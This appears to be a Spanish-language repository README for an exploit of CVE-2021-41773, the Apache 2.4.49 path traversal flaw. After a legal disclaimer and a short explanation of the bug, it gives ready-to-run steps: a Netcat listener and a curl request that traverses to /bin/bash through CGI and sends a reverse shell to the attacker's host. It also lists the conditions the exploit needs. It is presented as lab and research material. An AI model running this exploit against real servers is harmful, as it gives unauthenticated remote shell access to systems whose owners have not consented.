
⚠️ Aviso legal
Este repositorio está destinado exclusivamente a fines educativos y de investigación.
La información y el código proporcionados aquí pueden utilizarse en entornos controlados, como máquinas de laboratorio privadas.
El uso no autorizado de este código contra sistemas que no posees o para los que no tienes permiso explícito para probar es ilegal y poco ético.
El autor no se hace responsable de cualquier uso indebido o daño causado.
CVE-2021-41773 afecta a Apache HTTP Server versión 2.4.49.
Debido a una validación incorrecta de la entrada en la normalización de rutas, un atacante puede explotar un path traversal (recorrido de directorios) utilizando caracteres codificados como %2e para acceder a archivos arbitrarios.
Si CGI está habilitado, esta vulnerabilidad puede escalarse a ejecución remota de código (RCE) sin autenticación.
Se crea una solicitud curl maliciosa para explotar la falla de path traversal. Cuando CGI está habilitado, los atacantes pueden llegar a /bin/bash y ejecutar comandos de shell arbitrarios.
En este ejemplo, se envía una carga útil de reverse shell para obtener acceso de shell al servidor.
Este exploit fue probado en un entorno de laboratorio privado. A continuación se muestran los pasos y los resultados.
Un escaneo de Nmap identificó el objetivo ejecutando Apache/2.4.49.

Se envió una carga útil de reverse shell mediante un comando curl manipulado.

Se obtuvo exitosamente una reverse shell en el listener del atacante.

Paso 1: Iniciar el listener de Netcat
nc -nvlp 4444
Paso 1: Ejecutar el exploit
curl -v 'http://<target>:<port>/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/<your-ip>/4444 0>&1' -H 'Content-Type: text/plain'
La versión de Apache sea 2.4.49
CGI esté habilitado
El puerto 4444 (o el puerto que elijas) esté abierto en el firewall
Consulta el análisis detallado y la teoría en mi publicación de Medium:
👉 Lee el blog en Medium